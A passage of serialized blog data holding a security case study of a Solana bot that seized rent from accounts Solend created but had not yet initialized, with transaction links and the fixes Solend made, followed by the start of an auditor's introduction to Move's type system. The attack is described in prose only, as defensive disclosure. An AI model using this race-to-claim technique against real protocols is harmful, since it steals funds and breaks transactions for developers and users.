thief.",{"src":7039,"width":7040,"height":7041},"/posts/rent-thief/title.jpg",970,826,"2022-08-19",[4553,4554],{"type":21,"children":7045,"toc":7360},[7046,7051,7057,7062,7067,7072,7078,7091,7138,7168,7177,7182,7187,7192,7198,7211,7227,7232,7237,7252,7256,7261,7276,7283,7288,7298,7305,7309,7314,7320,7325,7330,7335,7341,7346],{"type":24,"tag":25,"props":7047,"children":7048},{},[7049],{"type":29,"value":7050},"Recently, there’s been a rent thief. This bot steals money from uninitialized accounts across the Solana ecosystem, claiming and profiting from the rent. The Solend team noticed the bot when it attempted an attack on the new permissionless pools that are being developed (to be clear, funds stored in the main Solend protocol are completely unaffected). Let's dig into how rent thieving works by doing a case study on an attack to one of the permissionless pools.",{"type":24,"tag":59,"props":7052,"children":7054},{"id":7053},"background",[7055],{"type":29,"value":7056},"Background",{"type":24,"tag":25,"props":7058,"children":7059},{},[7060],{"type":29,"value":7061},"To understand how this exploit works, we first have to understand a bit about how rent works in Solana.",{"type":24,"tag":25,"props":7063,"children":7064},{},[7065],{"type":29,"value":7066},"Since accounts can store data that every validator needs to download, Solana charges a certain amount of rent based on the amount of data. However, accounts that have enough for 2 years of rent payments are considered rent-exempt as long as their balance never drops below the threshold. Fortunately, rent is very cheap, so it's not hard to make an account rent-exempt.",{"type":24,"tag":25,"props":7068,"children":7069},{},[7070],{"type":29,"value":7071},"As such, when creating new accounts, most programs will need to transfer some SOL into the new account to make it rent-exempt.",{"type":24,"tag":59,"props":7073,"children":7075},{"id":7074},"the-exploit",[7076],{"type":29,"value":7077},"The Exploit",{"type":24,"tag":25,"props":7079,"children":7080},{},[7081,7083,7089],{"type":29,"value":7082},"New reserves (also known as assets) are added to a Solend pool by calling the ",{"type":24,"tag":154,"props":7084,"children":7086},{"className":7085},[],[7087],{"type":29,"value":7088},"init_reserve",{"type":29,"value":7090}," function, which creates 6 new accounts to store data about the reserve:",{"type":24,"tag":1786,"props":7092,"children":7093},{},[7094,7099,7104,7109,7120,7125],{"type":24,"tag":1790,"props":7095,"children":7096},{},[7097],{"type":29,"value":7098},"reserve detail - stores information about the reserve e.g liquidity mint, mint decimals, oracles, configs, etc.",{"type":24,"tag":1790,"props":7100,"children":7101},{},[7102],{"type":29,"value":7103},"reserve liquidity token account - holds deposited tokens",{"type":24,"tag":1790,"props":7105,"children":7106},{},[7107],{"type":29,"value":7108},"fee receiver token account - account which will receive origination fees on borrows",{"type":24,"tag":1790,"props":7110,"children":7111},{},[7112,7114],{"type":29,"value":7113},"reserve collateral mint account - deposit receipt token, also known as ",{"type":24,"tag":154,"props":7115,"children":7117},{"className":7116},[],[7118],{"type":29,"value":7119},"cTokens",{"type":24,"tag":1790,"props":7121,"children":7122},{},[7123],{"type":29,"value":7124},"reserve collateral token account - holds users' collateral tokens",{"type":24,"tag":1790,"props":7126,"children":7127},{},[7128,7130,7136],{"type":29,"value":7129},"creator collateral token account - creator's ",{"type":24,"tag":154,"props":7131,"children":7133},{"className":7132},[],[7134],{"type":29,"value":7135},"cToken",{"type":29,"value":7137}," account",{"type":24,"tag":25,"props":7139,"children":7140},{},[7141,7143,7148,7150,7155,7156,7161,7163],{"type":29,"value":7142},"Account creation and initialization are ",{"type":24,"tag":32,"props":7144,"children":7145},{},[7146],{"type":29,"value":7147},"usually",{"type":29,"value":7149}," done within the same transactions. However, due to Solana's transaction size limit of 1232 bytes, the creation and initialization of these 6 accounts had to be separated into 2 transactions, creation and initialization. Here's what a call to ",{"type":24,"tag":154,"props":7151,"children":7153},{"className":7152},[],[7154],{"type":29,"value":7088},{"type":29,"value":816},{"type":24,"tag":32,"props":7157,"children":7158},{},[7159],{"type":29,"value":7160},"supposed",{"type":29,"value":7162}," to look like:\n",{"type":24,"tag":84,"props":7164,"children":7167},{"src":7165,"alt":7166},"/posts/rent-thief/transacdiagram.png","drawing",[],{"type":24,"tag":25,"props":7169,"children":7170},{},[7171,7173],{"type":29,"value":7172},"Notice anything amiss? In between the two transactions, the account has rent money but no owner. This is where the rent thief comes in to snatch the account, along with its rent:\n",{"type":24,"tag":84,"props":7174,"children":7176},{"src":7175,"alt":7166},"/posts/rent-thief/attacktransac.png",[],{"type":24,"tag":25,"props":7178,"children":7179},{},[7180],{"type":29,"value":7181},"Since there was a roughly 40 second (50 slot) window in between the two transactions, such an attack was very consistent.",{"type":24,"tag":25,"props":7183,"children":7184},{},[7185],{"type":29,"value":7186},"Fortunately, rent is relatively cheap so the entire attack only extracts about 0.0082 SOL every iteration (4 token accounts each worth around 0.002 SOL), which is around 28 cents at the time of writing this article.",{"type":24,"tag":25,"props":7188,"children":7189},{},[7190],{"type":29,"value":7191},"Despite this lost cost, this is pretty annoying...",{"type":24,"tag":59,"props":7193,"children":7195},{"id":7194},"example",[7196],{"type":29,"value":7197},"Example",{"type":24,"tag":25,"props":7199,"children":7200},{},[7201,7203,7210],{"type":29,"value":7202},"Let's take a look at ",{"type":24,"tag":101,"props":7204,"children":7207},{"href":7205,"rel":7206},"https://explorer.solana.com/address/2PUTo74Vbt9fXVoTywjTFZNnWGckWS98HnruXvZJaj4N",[105],[7208],{"type":29,"value":7209},"a real attack",{"type":29,"value":347},{"type":24,"tag":25,"props":7212,"children":7213},{},[7214,7221,7223],{"type":24,"tag":101,"props":7215,"children":7218},{"href":7216,"rel":7217},"https://explorer.solana.com/tx/9yon9Av2sBq78bZ92Pa28p8gef5MUEQL3sBLGVzxK3RNGYsN2nLnTrbqS1wMCvJdinKE8CC9SwCuUYuNBwrNFNy",[105],[7219],{"type":29,"value":7220},"Transaction 1",{"type":29,"value":7222},":\n",{"type":24,"tag":84,"props":7224,"children":7226},{"alt":7,"src":7225},"https://i.imgur.com/xJvIwgc.png",[],{"type":24,"tag":25,"props":7228,"children":7229},{},[7230],{"type":29,"value":7231},"(...more accounts truncated)",{"type":24,"tag":25,"props":7233,"children":7234},{},[7235],{"type":29,"value":7236},"The developer creates a couple accounts and transfers enough SOL for them to be rent-exempt. This took place in slot 136,580,113.",{"type":24,"tag":25,"props":7238,"children":7239},{},[7240,7247,7248],{"type":24,"tag":101,"props":7241,"children":7244},{"href":7242,"rel":7243},"https://explorer.solana.com/tx/22beQSDReFGK4KAgarAz4MbibpxaFHiARd3yaCDZ4wmKSNoTcxmKMp6uRNA2CY4xAAZVZZCDg522aJ7jXftyhtSE",[105],[7245],{"type":29,"value":7246},"Attacker's Transaction",{"type":29,"value":7222},{"type":24,"tag":84,"props":7249,"children":7251},{"alt":7,"src":7250},"https://i.imgur.com/CpSKuL3.png",[],{"type":24,"tag":25,"props":7253,"children":7254},{},[7255],{"type":29,"value":7231},{"type":24,"tag":25,"props":7257,"children":7258},{},[7259],{"type":29,"value":7260},"As detailed before, the attacker takes ownership of the newly created accounts. This took place in slot 136,580,154, which is 41 slots (29 seconds) after the initial transaction.",{"type":24,"tag":25,"props":7262,"children":7263},{},[7264,7271,7272],{"type":24,"tag":101,"props":7265,"children":7268},{"href":7266,"rel":7267},"https://explorer.solana.com/tx/beYo1YBCa4fQ8swdJchx9s4qtgDQV4oVSEqwAX7UpHan4U4Jsv1oxY2V2ZxE77pBQHzYwV4gCXpDDKTgM7kBT4y",[105],[7269],{"type":29,"value":7270},"Transaction 2",{"type":29,"value":7222},{"type":24,"tag":84,"props":7273,"children":7275},{"alt":7,"src":7274},"https://i.imgur.com/of0GIdw.png",[],{"type":24,"tag":25,"props":7277,"children":7278},{},[7279],{"type":24,"tag":84,"props":7280,"children":7282},{"alt":7,"src":7281},"https://i.imgur.com/0STSyv8.png",[],{"type":24,"tag":25,"props":7284,"children":7285},{},[7286],{"type":29,"value":7287},"The developer attempts to take ownership of the account, but it fails with the error \"account or token already in use\" since the attacker took ownership of it. This took place in slot 136,580,167, which is 13 slots (9 seconds) after the attacker's transaction. In total, that's a 54 slot-gap (38 seconds) between the two Solend transactions.",{"type":24,"tag":25,"props":7289,"children":7290},{},[7291,7297],{"type":24,"tag":101,"props":7292,"children":7295},{"href":7293,"rel":7294},"https://explorer.solana.com/tx/3D45bCbbeSEaigz3RX6GRKuoDSok3FHMi5Z2N5HDXcPjqMzu3Qx5iEoXh56RWg1mn7w9ZuZifD91n1DwnPjdaW2G",[105],[7296],{"type":29,"value":7246},{"type":29,"value":225},{"type":24,"tag":25,"props":7299,"children":7300},{},[7301],{"type":24,"tag":84,"props":7302,"children":7304},{"alt":7,"src":7303},"https://i.imgur.com/AmSPdmy.png",[],{"type":24,"tag":25,"props":7306,"children":7307},{},[7308],{"type":29,"value":7231},{"type":24,"tag":25,"props":7310,"children":7311},{},[7312],{"type":29,"value":7313},"Now that the attack is over, the attacker closes the accounts, transferring the rent money to themselves. The total money stolen during this attack was 0.00815212 SOL.",{"type":24,"tag":59,"props":7315,"children":7317},{"id":7316},"impact",[7318],{"type":29,"value":7319},"Impact",{"type":24,"tag":25,"props":7321,"children":7322},{},[7323],{"type":29,"value":7324},"Rent-thieving attacks don't steal much money.",{"type":24,"tag":25,"props":7326,"children":7327},{},[7328],{"type":29,"value":7329},"They can only make a small profit very infrequently as Solana rent is cheap and there are only a handful of large services that separate account creation and initialization. In addition, this stratedgy doesn't scale well, since such non-atomic account creation is relatively infrequent.",{"type":24,"tag":25,"props":7331,"children":7332},{},[7333],{"type":29,"value":7334},"However, it's still obnoxious even if the monetary impact is minimal. Transactions will fail and need to be remade, impacting usability.",{"type":24,"tag":59,"props":7336,"children":7338},{"id":7337},"solution",[7339],{"type":29,"value":7340},"Solution",{"type":24,"tag":25,"props":7342,"children":7343},{},[7344],{"type":29,"value":7345},"As a temporary stopgap, Solend refactored their codebase to lower the 40 second delay between transactions to around 15 seconds (20 slots), making an attack much more difficult and inconsistent.",{"type":24,"tag":25,"props":7347,"children":7348},{},[7349,7351,7358],{"type":29,"value":7350},"As a more permenant solution, Solend implemented ",{"type":24,"tag":101,"props":7352,"children":7355},{"href":7353,"rel":7354},"https://explorer.solana.com/tx/3DR74oQh966HbozLPYFqTgCmQWbUNSBkjUcEs7CuWxMPNxM3mBzqH7Gqu1mVRBRxNSTWJBcJkTnCzmoqD6kPYMXE?cluster=devnet",[105],[7356],{"type":29,"value":7357},"an onchain program",{"type":29,"value":7359}," which handles account creation, allowing them to fit all the relevant instructions into one transaction.",{"title":7,"searchDepth":213,"depth":213,"links":7361},[7362,7363,7364,7365,7366],{"id":7053,"depth":213,"text":7056},{"id":7074,"depth":213,"text":7077},{"id":7194,"depth":213,"text":7197},{"id":7316,"depth":213,"text":7319},{"id":7337,"depth":213,"text":7340},"content:blog:2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief",{"_path":7371,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":7372,"description":7373,"author":10,"image":7374,"date":7377,"isFeatured":16,"onBlogPage":16,"body":7378,"_type":4536,"_id":10841,"_source":4538,"_file":10842,"_stem":10843,"_extension":4541},"/blog/2022-09-06-move-introduction","Move: An Auditor's Introduction","What actually makes Move secure? A discussion of Move's typing system and formal verification.",{"src":7375,"height":7376,"width":14},"/posts/move-intro/title.jpg",1221,"2022-09-06",{"type":21,"children":7379,"toc":10836},[7380,7385,7390,7409,7415,7427,7523,7531,7650,7658,7680,7833,7838,8094,8116,8151,8156,8176,8181,8192,8204,8412,8424,8437,8450,8707,8719,8938,8943,8971,9117,9136,9141,9405,9417,9422,9435,9441,9446,9451,9463,9477,9482,9579,9591,9604,9856,9861,9873,9878,9930,9948,9953,10807,10811,10816,10821,10832],{"type":24,"tag":25,"props":7381,"children":7382},{},[7383],{"type":29,"value":7384},"As part of our work, we seek to understand how to eliminate vulnerability classes. Designing safer languages enables developers to write code with confidence. How exactly does Move lend itself to safer programming practices? What can we learn from Move to generalize secure design principles for other execution environments?",{"type":24,"tag":25,"props":7386,"children":7387},{},[7388],{"type":29,"value":7389},"Lately, there appears to be many buzzwords floating around. Formal verification, type based safety, \"rust but for blockchain\".",{"type":24,"tag":25,"props":7391,"children":7392},{},[7393,7395,7400,7402,7407],{"type":29,"value":7394},"In this piece I'll seek to discuss exactly ",{"type":24,"tag":32,"props":7396,"children":7397},{},[7398],{"type":29,"value":7399},"how",{"type":29,"value":7401}," move lends itself to more secure programming practices, potential shortcomings, and practical design tips for protocol developers looking to build ",{"type":24,"tag":32,"props":7403,"children":7404},{},[7405],{"type":29,"value":7406},"structurally",{"type":29,"value":7408}," safer programs.",{"type":24,"tag":59,"props":7410,"children":7412},{"id":7411},"types",[7413],{"type":29,"value":7414},"Types",{"type":24,"tag":25,"props":7416,"children":7417},{},[7418,7420,7426],{"type":29,"value":7419},"One of the key selling points of Move is the use of typed resources. Aptos and Sui have slight variations in how they materialize this pattern, but as an example take ",{"type":24,"tag":154,"props":7421,"children":7423},{"className":7422},[],[7424],{"type":29,"value":7425},"coin.move",{"type":29,"value":347},{"type":24,"tag":147,"props":7428,"children":7430},{"className":151,"code":7429,"language":150,"meta":7,"style":7}," /// Main structure representing a coin/token in an account's custody.\n struct Coin\u003Cphantom CoinType> has store {\n /// Amount of coin this address has.\n value: u64,\n }\n",[7431],{"type":24,"tag":154,"props":7432,"children":7433},{"__ignoreMap":7},[7434,7442,7488,7496,7516],{"type":24,"tag":158,"props":7435,"children":7436},{"class":160,"line":161},[7437],{"type":24,"tag":158,"props":7438,"children":7439},{"style":2588},[7440],{"type":29,"value":7441}," /// Main structure representing a coin/token in an account's custody.\n",{"type":24,"tag":158,"props":7443,"children":7444},{"class":160,"line":213},[7445,7450,7455,7459,7464,7469,7474,7479,7484],{"type":24,"tag":158,"props":7446,"children":7447},{"style":165},[7448],{"type":29,"value":7449}," struct",{"type":24,"tag":158,"props":7451,"children":7452},{"style":171},[7453],{"type":29,"value":7454}," Coin",{"type":24,"tag":158,"props":7456,"children":7457},{"style":188},[7458],{"type":29,"value":3760},{"type":24,"tag":158,"props":7460,"children":7461},{"style":177},[7462],{"type":29,"value":7463},"phantom",{"type":24,"tag":158,"props":7465,"children":7466},{"style":171},[7467],{"type":29,"value":7468}," CoinType",{"type":24,"tag":158,"props":7470,"children":7471},{"style":188},[7472],{"type":29,"value":7473},"> ",{"type":24,"tag":158,"props":7475,"children":7476},{"style":177},[7477],{"type":29,"value":7478},"has",{"type":24,"tag":158,"props":7480,"children":7481},{"style":177},[7482],{"type":29,"value":7483}," store",{"type":24,"tag":158,"props":7485,"children":7486},{"style":188},[7487],{"type":29,"value":210},{"type":24,"tag":158,"props":7489,"children":7490},{"class":160,"line":238},[7491],{"type":24,"tag":158,"props":7492,"children":7493},{"style":2588},[7494],{"type":29,"value":7495}," /// Amount of coin this address has.\n",{"type":24,"tag":158,"props":7497,"children":7498},{"class":160,"line":259},[7499,7504,7508,7512],{"type":24,"tag":158,"props":7500,"children":7501},{"style":177},[7502],{"type":29,"value":7503}," value",{"type":24,"tag":158,"props":7505,"children":7506},{"style":222},[7507],{"type":29,"value":225},{"type":24,"tag":158,"props":7509,"children":7510},{"style":171},[7511],{"type":29,"value":230},{"type":24,"tag":158,"props":7513,"children":7514},{"style":188},[7515],{"type":29,"value":235},{"type":24,"tag":158,"props":7517,"children":7518},{"class":160,"line":280},[7519],{"type":24,"tag":158,"props":7520,"children":7521},{"style":188},[7522],{"type":29,"value":4366},{"type":24,"tag":25,"props":7524,"children":7525},{},[7526],{"type":24,"tag":32,"props":7527,"children":7528},{},[7529],{"type":29,"value":7530},"aptos",{"type":24,"tag":147,"props":7532,"children":7534},{"className":151,"code":7533,"language":150,"meta":7,"style":7}," /// A coin of type `T` worth `value`. Transferable and storable\n struct Coin\u003Cphantom T> has key, store {\n id: UID,\n balance: Balance\u003CT>\n }\n",[7535],{"type":24,"tag":154,"props":7536,"children":7537},{"__ignoreMap":7},[7538,7546,7595,7612,7643],{"type":24,"tag":158,"props":7539,"children":7540},{"class":160,"line":161},[7541],{"type":24,"tag":158,"props":7542,"children":7543},{"style":2588},[7544],{"type":29,"value":7545}," /// A coin of type `T` worth `value`. Transferable and storable\n",{"type":24,"tag":158,"props":7547,"children":7548},{"class":160,"line":213},[7549,7553,7557,7561,7565,7570,7574,7578,7583,7587,7591],{"type":24,"tag":158,"props":7550,"children":7551},{"style":165},[7552],{"type":29,"value":7449},{"type":24,"tag":158,"props":7554,"children":7555},{"style":171},[7556],{"type":29,"value":7454},{"type":24,"tag":158,"props":7558,"children":7559},{"style":188},[7560],{"type":29,"value":3760},{"type":24,"tag":158,"props":7562,"children":7563},{"style":177},[7564],{"type":29,"value":7463},{"type":24,"tag":158,"props":7566,"children":7567},{"style":171},[7568],{"type":29,"value":7569}," T",{"type":24,"tag":158,"props":7571,"children":7572},{"style":188},[7573],{"type":29,"value":7473},{"type":24,"tag":158,"props":7575,"children":7576},{"style":177},[7577],{"type":29,"value":7478},{"type":24,"tag":158,"props":7579,"children":7580},{"style":177},[7581],{"type":29,"value":7582}," key",{"type":24,"tag":158,"props":7584,"children":7585},{"style":188},[7586],{"type":29,"value":191},{"type":24,"tag":158,"props":7588,"children":7589},{"style":177},[7590],{"type":29,"value":205},{"type":24,"tag":158,"props":7592,"children":7593},{"style":188},[7594],{"type":29,"value":210},{"type":24,"tag":158,"props":7596,"children":7597},{"class":160,"line":238},[7598,7603,7607],{"type":24,"tag":158,"props":7599,"children":7600},{"style":177},[7601],{"type":29,"value":7602}," id",{"type":24,"tag":158,"props":7604,"children":7605},{"style":222},[7606],{"type":29,"value":225},{"type":24,"tag":158,"props":7608,"children":7609},{"style":188},[7610],{"type":29,"value":7611}," UID,\n",{"type":24,"tag":158,"props":7613,"children":7614},{"class":160,"line":259},[7615,7620,7624,7629,7633,7638],{"type":24,"tag":158,"props":7616,"children":7617},{"style":177},[7618],{"type":29,"value":7619}," balance",{"type":24,"tag":158,"props":7621,"children":7622},{"style":222},[7623],{"type":29,"value":225},{"type":24,"tag":158,"props":7625,"children":7626},{"style":171},[7627],{"type":29,"value":7628}," Balance",{"type":24,"tag":158,"props":7630,"children":7631},{"style":188},[7632],{"type":29,"value":3760},{"type":24,"tag":158,"props":7634,"children":7635},{"style":171},[7636],{"type":29,"value":7637},"T",{"type":24,"tag":158,"props":7639,"children":7640},{"style":188},[7641],{"type":29,"value":7642},">\n",{"type":24,"tag":158,"props":7644,"children":7645},{"class":160,"line":280},[7646],{"type":24,"tag":158,"props":7647,"children":7648},{"style":188},[7649],{"type":29,"value":4366},{"type":24,"tag":25,"props":7651,"children":7652},{},[7653],{"type":24,"tag":32,"props":7654,"children":7655},{},[7656],{"type":29,"value":7657},"sui",{"type":24,"tag":25,"props":7659,"children":7660},{},[7661,7663,7670,7672,7678],{"type":29,"value":7662},"Pulling an example from ",{"type":24,"tag":101,"props":7664,"children":7667},{"href":7665,"rel":7666},"https://pontem.network/",[105],[7668],{"type":29,"value":7669},"Pontem Network's",{"type":29,"value":7671}," Liquidswap DEX implementation on Aptos, we can see that ",{"type":24,"tag":154,"props":7673,"children":7675},{"className":7674},[],[7676],{"type":29,"value":7677},"LiquidityPool",{"type":29,"value":7679}," natively embeds this type information into it's fields.",{"type":24,"tag":147,"props":7681,"children":7683},{"className":151,"code":7682,"language":150,"meta":7,"style":7}," /// Liquidity pool with reserves.\n struct LiquidityPool\u003Cphantom X, phantom Y, phantom LP> has key {\n coin_x_reserve: Coin\u003CX>,\n coin_y_reserve: Coin\u003CY>,\n // ...\n }\n",[7684],{"type":24,"tag":154,"props":7685,"children":7686},{"__ignoreMap":7},[7687,7695,7759,7789,7818,7826],{"type":24,"tag":158,"props":7688,"children":7689},{"class":160,"line":161},[7690],{"type":24,"tag":158,"props":7691,"children":7692},{"style":2588},[7693],{"type":29,"value":7694}," /// Liquidity pool with reserves.\n",{"type":24,"tag":158,"props":7696,"children":7697},{"class":160,"line":213},[7698,7703,7708,7712,7716,7721,7725,7729,7734,7738,7742,7747,7751,7755],{"type":24,"tag":158,"props":7699,"children":7700},{"style":165},[7701],{"type":29,"value":7702}," struct",{"type":24,"tag":158,"props":7704,"children":7705},{"style":171},[7706],{"type":29,"value":7707}," LiquidityPool",{"type":24,"tag":158,"props":7709,"children":7710},{"style":188},[7711],{"type":29,"value":3760},{"type":24,"tag":158,"props":7713,"children":7714},{"style":177},[7715],{"type":29,"value":7463},{"type":24,"tag":158,"props":7717,"children":7718},{"style":171},[7719],{"type":29,"value":7720}," X",{"type":24,"tag":158,"props":7722,"children":7723},{"style":188},[7724],{"type":29,"value":191},{"type":24,"tag":158,"props":7726,"children":7727},{"style":177},[7728],{"type":29,"value":7463},{"type":24,"tag":158,"props":7730,"children":7731},{"style":171},[7732],{"type":29,"value":7733}," Y",{"type":24,"tag":158,"props":7735,"children":7736},{"style":188},[7737],{"type":29,"value":191},{"type":24,"tag":158,"props":7739,"children":7740},{"style":177},[7741],{"type":29,"value":7463},{"type":24,"tag":158,"props":7743,"children":7744},{"style":188},[7745],{"type":29,"value":7746}," LP> ",{"type":24,"tag":158,"props":7748,"children":7749},{"style":177},[7750],{"type":29,"value":7478},{"type":24,"tag":158,"props":7752,"children":7753},{"style":177},[7754],{"type":29,"value":7582},{"type":24,"tag":158,"props":7756,"children":7757},{"style":188},[7758],{"type":29,"value":210},{"type":24,"tag":158,"props":7760,"children":7761},{"class":160,"line":238},[7762,7767,7771,7775,7779,7784],{"type":24,"tag":158,"props":7763,"children":7764},{"style":177},[7765],{"type":29,"value":7766}," coin_x_reserve",{"type":24,"tag":158,"props":7768,"children":7769},{"style":222},[7770],{"type":29,"value":225},{"type":24,"tag":158,"props":7772,"children":7773},{"style":171},[7774],{"type":29,"value":7454},{"type":24,"tag":158,"props":7776,"children":7777},{"style":188},[7778],{"type":29,"value":3760},{"type":24,"tag":158,"props":7780,"children":7781},{"style":171},[7782],{"type":29,"value":7783},"X",{"type":24,"tag":158,"props":7785,"children":7786},{"style":188},[7787],{"type":29,"value":7788},">,\n",{"type":24,"tag":158,"props":7790,"children":7791},{"class":160,"line":259},[7792,7797,7801,7805,7809,7814],{"type":24,"tag":158,"props":7793,"children":7794},{"style":177},[7795],{"type":29,"value":7796}," coin_y_reserve",{"type":24,"tag":158,"props":7798,"children":7799},{"style":222},[7800],{"type":29,"value":225},{"type":24,"tag":158,"props":7802,"children":7803},{"style":171},[7804],{"type":29,"value":7454},{"type":24,"tag":158,"props":7806,"children":7807},{"style":188},[7808],{"type":29,"value":3760},{"type":24,"tag":158,"props":7810,"children":7811},{"style":171},[7812],{"type":29,"value":7813},"Y",{"type":24,"tag":158,"props":7815,"children":7816},{"style":188},[7817],{"type":29,"value":7788},{"type":24,"tag":158,"props":7819,"children":7820},{"class":160,"line":280},[7821],{"type":24,"tag":158,"props":7822,"children":7823},{"style":2588},[7824],{"type":29,"value":7825}," // ...\n",{"type":24,"tag":158,"props":7827,"children":7828},{"class":160,"line":301},[7829],{"type":24,"tag":158,"props":7830,"children":7831},{"style":188},[7832],{"type":29,"value":3967},{"type":24,"tag":25,"props":7834,"children":7835},{},[7836],{"type":29,"value":7837},"This has the advantage of aligning type information at compile time. It would be difficult to accidentally pass in the wrong type of coin to a function.",{"type":24,"tag":147,"props":7839,"children":7841},{"className":151,"code":7840,"language":150,"meta":7,"style":7}," public fun mint\u003CX, Y, LP>(\n pool_addr: address,\n coin_x: Coin\u003CX>,\n coin_y: Coin\u003CY>\n ): Coin\u003CLP> acquires LiquidityPool, EventsStore {\n // ...\n\n let (x_reserve_size, y_reserve_size) = get_reserves_size\u003CX, Y, LP>(pool_addr);\n",[7842],{"type":24,"tag":154,"props":7843,"children":7844},{"__ignoreMap":7},[7845,7883,7904,7932,7960,8010,8018,8025],{"type":24,"tag":158,"props":7846,"children":7847},{"class":160,"line":161},[7848,7853,7857,7862,7866,7870,7874,7878],{"type":24,"tag":158,"props":7849,"children":7850},{"style":177},[7851],{"type":29,"value":7852}," public",{"type":24,"tag":158,"props":7854,"children":7855},{"style":177},[7856],{"type":29,"value":493},{"type":24,"tag":158,"props":7858,"children":7859},{"style":177},[7860],{"type":29,"value":7861}," mint",{"type":24,"tag":158,"props":7863,"children":7864},{"style":188},[7865],{"type":29,"value":3760},{"type":24,"tag":158,"props":7867,"children":7868},{"style":171},[7869],{"type":29,"value":7783},{"type":24,"tag":158,"props":7871,"children":7872},{"style":188},[7873],{"type":29,"value":191},{"type":24,"tag":158,"props":7875,"children":7876},{"style":171},[7877],{"type":29,"value":7813},{"type":24,"tag":158,"props":7879,"children":7880},{"style":188},[7881],{"type":29,"value":7882},", LP>(\n",{"type":24,"tag":158,"props":7884,"children":7885},{"class":160,"line":213},[7886,7891,7895,7900],{"type":24,"tag":158,"props":7887,"children":7888},{"style":177},[7889],{"type":29,"value":7890}," pool_addr",{"type":24,"tag":158,"props":7892,"children":7893},{"style":222},[7894],{"type":29,"value":225},{"type":24,"tag":158,"props":7896,"children":7897},{"style":177},[7898],{"type":29,"value":7899}," address",{"type":24,"tag":158,"props":7901,"children":7902},{"style":188},[7903],{"type":29,"value":235},{"type":24,"tag":158,"props":7905,"children":7906},{"class":160,"line":238},[7907,7912,7916,7920,7924,7928],{"type":24,"tag":158,"props":7908,"children":7909},{"style":177},[7910],{"type":29,"value":7911}," coin_x",{"type":24,"tag":158,"props":7913,"children":7914},{"style":222},[7915],{"type":29,"value":225},{"type":24,"tag":158,"props":7917,"children":7918},{"style":171},[7919],{"type":29,"value":7454},{"type":24,"tag":158,"props":7921,"children":7922},{"style":188},[7923],{"type":29,"value":3760},{"type":24,"tag":158,"props":7925,"children":7926},{"style":171},[7927],{"type":29,"value":7783},{"type":24,"tag":158,"props":7929,"children":7930},{"style":188},[7931],{"type":29,"value":7788},{"type":24,"tag":158,"props":7933,"children":7934},{"class":160,"line":259},[7935,7940,7944,7948,7952,7956],{"type":24,"tag":158,"props":7936,"children":7937},{"style":177},[7938],{"type":29,"value":7939}," coin_y",{"type":24,"tag":158,"props":7941,"children":7942},{"style":222},[7943],{"type":29,"value":225},{"type":24,"tag":158,"props":7945,"children":7946},{"style":171},[7947],{"type":29,"value":7454},{"type":24,"tag":158,"props":7949,"children":7950},{"style":188},[7951],{"type":29,"value":3760},{"type":24,"tag":158,"props":7953,"children":7954},{"style":171},[7955],{"type":29,"value":7813},{"type":24,"tag":158,"props":7957,"children":7958},{"style":188},[7959],{"type":29,"value":7642},{"type":24,"tag":158,"props":7961,"children":7962},{"class":160,"line":280},[7963,7968,7972,7976,7980,7985,7989,7993,7997,8001,8006],{"type":24,"tag":158,"props":7964,"children":7965},{"style":188},[7966],{"type":29,"value":7967}," )",{"type":24,"tag":158,"props":7969,"children":7970},{"style":222},[7971],{"type":29,"value":225},{"type":24,"tag":158,"props":7973,"children":7974},{"style":171},[7975],{"type":29,"value":7454},{"type":24,"tag":158,"props":7977,"children":7978},{"style":188},[7979],{"type":29,"value":3760},{"type":24,"tag":158,"props":7981,"children":7982},{"style":171},[7983],{"type":29,"value":7984},"LP",{"type":24,"tag":158,"props":7986,"children":7987},{"style":188},[7988],{"type":29,"value":7473},{"type":24,"tag":158,"props":7990,"children":7991},{"style":177},[7992],{"type":29,"value":4286},{"type":24,"tag":158,"props":7994,"children":7995},{"style":171},[7996],{"type":29,"value":7707},{"type":24,"tag":158,"props":7998,"children":7999},{"style":188},[8000],{"type":29,"value":191},{"type":24,"tag":158,"props":8002,"children":8003},{"style":171},[8004],{"type":29,"value":8005},"EventsStore",{"type":24,"tag":158,"props":8007,"children":8008},{"style":188},[8009],{"type":29,"value":210},{"type":24,"tag":158,"props":8011,"children":8012},{"class":160,"line":301},[8013],{"type":24,"tag":158,"props":8014,"children":8015},{"style":2588},[8016],{"type":29,"value":8017}," // ...\n",{"type":24,"tag":158,"props":8019,"children":8020},{"class":160,"line":626},[8021],{"type":24,"tag":158,"props":8022,"children":8023},{"emptyLinePlaceholder":16},[8024],{"type":29,"value":481},{"type":24,"tag":158,"props":8026,"children":8027},{"class":160,"line":668},[8028,8033,8037,8042,8046,8051,8055,8059,8064,8068,8072,8076,8080,8085,8090],{"type":24,"tag":158,"props":8029,"children":8030},{"style":165},[8031],{"type":29,"value":8032}," let",{"type":24,"tag":158,"props":8034,"children":8035},{"style":188},[8036],{"type":29,"value":2262},{"type":24,"tag":158,"props":8038,"children":8039},{"style":177},[8040],{"type":29,"value":8041},"x_reserve_size",{"type":24,"tag":158,"props":8043,"children":8044},{"style":188},[8045],{"type":29,"value":191},{"type":24,"tag":158,"props":8047,"children":8048},{"style":177},[8049],{"type":29,"value":8050},"y_reserve_size",{"type":24,"tag":158,"props":8052,"children":8053},{"style":188},[8054],{"type":29,"value":723},{"type":24,"tag":158,"props":8056,"children":8057},{"style":222},[8058],{"type":29,"value":1285},{"type":24,"tag":158,"props":8060,"children":8061},{"style":177},[8062],{"type":29,"value":8063}," get_reserves_size",{"type":24,"tag":158,"props":8065,"children":8066},{"style":188},[8067],{"type":29,"value":3760},{"type":24,"tag":158,"props":8069,"children":8070},{"style":171},[8071],{"type":29,"value":7783},{"type":24,"tag":158,"props":8073,"children":8074},{"style":188},[8075],{"type":29,"value":191},{"type":24,"tag":158,"props":8077,"children":8078},{"style":171},[8079],{"type":29,"value":7813},{"type":24,"tag":158,"props":8081,"children":8082},{"style":188},[8083],{"type":29,"value":8084},", LP>(",{"type":24,"tag":158,"props":8086,"children":8087},{"style":177},[8088],{"type":29,"value":8089},"pool_addr",{"type":24,"tag":158,"props":8091,"children":8092},{"style":188},[8093],{"type":29,"value":1071},{"type":24,"tag":25,"props":8095,"children":8096},{},[8097,8099,8105,8107,8114],{"type":29,"value":8098},"As an aside, this generic type information is implemented at runtime in the ",{"type":24,"tag":154,"props":8100,"children":8102},{"className":8101},[],[8103],{"type":29,"value":8104},"ty_args",{"type":29,"value":8106}," 